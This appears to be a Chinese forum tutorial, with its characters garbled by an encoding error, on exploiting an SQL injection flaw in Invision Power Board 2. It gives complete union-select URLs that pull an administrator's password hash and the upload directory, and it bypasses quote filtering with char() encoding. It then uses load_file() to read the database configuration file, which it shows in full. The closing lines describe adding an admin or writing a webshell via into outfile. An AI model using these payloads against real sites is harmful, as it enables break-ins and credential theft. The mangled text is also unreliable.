在上一篇《PHP+MySQL注入導(dǎo)出文件的新發(fā)現(xiàn)——附帶IPB2的漏洞利用》,利用IPB2的注入漏洞獲得管理員的資料,修改COOKIE可以得到前臺(tái)的管理權(quán)限。不少人埋怨沒(méi)有什么用,其實(shí)這個(gè)是大多數(shù)人不了解IPB2的原因。
因?yàn)檫^(guò)濾了很多特殊字符,包括單引號(hào),全部轉(zhuǎn)為十進(jìn)制了。
其實(shí)充分發(fā)揮一下想象力。也是有可能拿到后臺(tái)管理員或者webshell的,注意,是可能,因?yàn)檫@個(gè)并不是通殺的,為什么不是通殺的,往下看就知道了。
我也不多說(shuō)了。對(duì)于這個(gè),我看最直接的目的就是看MYSQL的連接信息。怎么看?讀文件唄!
我想不管是讀文件和上傳,這個(gè)注入漏洞都給我們提供了最直接的條件,如果了解IPB2的人就應(yīng)該知道。上傳的目錄是保存里的,因此。我們根本不需要怎么提交、不需要構(gòu)造什么變量去報(bào)錯(cuò)暴路徑,IPB2也沒(méi)有這個(gè)條件去暴這些信息。就算出錯(cuò)也只返回特定的信息。
IPB2的上傳目錄的路徑是保存在ibf_conf_settings表里,所以我們可以構(gòu)造SQL語(yǔ)句,把這個(gè)路徑給直接反饋到眼前。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, member_login_key, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_members%20where%20id=1%20/*
這樣是讀取id為1的用戶的密碼散列,同樣的,我們?nèi)绻峤唬?/P>
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_id=59%20/*
就會(huì)返回上傳目錄的絕對(duì)路徑:
[quote=5,Jan 1 1970, 08:00 AM]
h:/www/ipb2/uploads
[right][snapback]1[/snapback][/right]
[/quote]
不過(guò),默認(rèn)應(yīng)該是這樣可以了的,但是如果管理員把conf_id改變的話,可能就不是59了。這時(shí)我們直接提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_key=char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)%20/*
因?yàn)閏onf_key為upload_dir的相對(duì)應(yīng)的conf_value就是上傳目錄的絕對(duì)路徑,但是因?yàn)槭亲址?,我們不能用單引?hào),只能轉(zhuǎn)換為10進(jìn)制或者16進(jìn)制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也會(huì)返回絕對(duì)路徑。
有了絕對(duì)路徑能做什么呢?知道可以允許寫(xiě)的目錄在哪了。知道MYSQL連接文件在哪了,還等什么?讀文件吧。假設(shè)上面的,我們的目錄是“h:/www/ipb2/”,那么連接文件就是“h:/www/ipb2/conf_global.php”,轉(zhuǎn)換為10進(jìn)制或者16進(jìn)制,提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, load_file(char(104, 58, 47, 119, 119, 119, 47, 105, 112, 98, 50, 47, 99, 111, 110, 102, 95, 103, 108, 111, 98, 97, 108, 46, 112, 104, 112)), 12, 13, 14, 15, 16, 17, 18, 19, 1%20/*
文件就出來(lái)了:
[quote=5,Jan 1 1970, 08:00 AM]
< ?php
$INFO['sql_driver'] = 'mysql';
$INFO['sql_host'] = 'localhost';
$INFO['sql_database'] = 'ipb2';
$INFO['sql_user'] = 'root';
$INFO['sql_pass'] = '';
$INFO['sql_tbl_prefix'] = 'ibf_';
$INFO['sql_debug'] = '1';
$INFO['board_start'] = '1102196141';
$INFO['installed'] = '1';
$INFO['php_ext'] = 'php';
$INFO['safe_mode'] = '0';
$INFO['board_url'] = 'http://localhost/ipb2';
$INFO['admin_group'] = '4';
$INFO['guest_group'] = '2';
$INFO['member_group'] = '3';
$INFO['auth_group'] = '1';
?>
[right][snapback]1[/snapback][/right]
[/quote]
注意注意!剛才說(shuō)了,不是通殺的,有兩個(gè)條件:
要讀出文件,連接MYSQL的這個(gè)用戶,一定要擁有FILE的權(quán)限。這個(gè)是最根本的。
條件1具備以后,要更進(jìn)一步操作,MYSQL必須允許遠(yuǎn)程連接,這樣insert一個(gè)后臺(tái)管理員,還是into outfile都隨便你了。
本文完全是技巧和思路的文章,沒(méi)有多大技術(shù)含量,都是老技術(shù)了,如果你不了解IPB2,也不知道在數(shù)據(jù)庫(kù)里放有絕對(duì)路徑吧?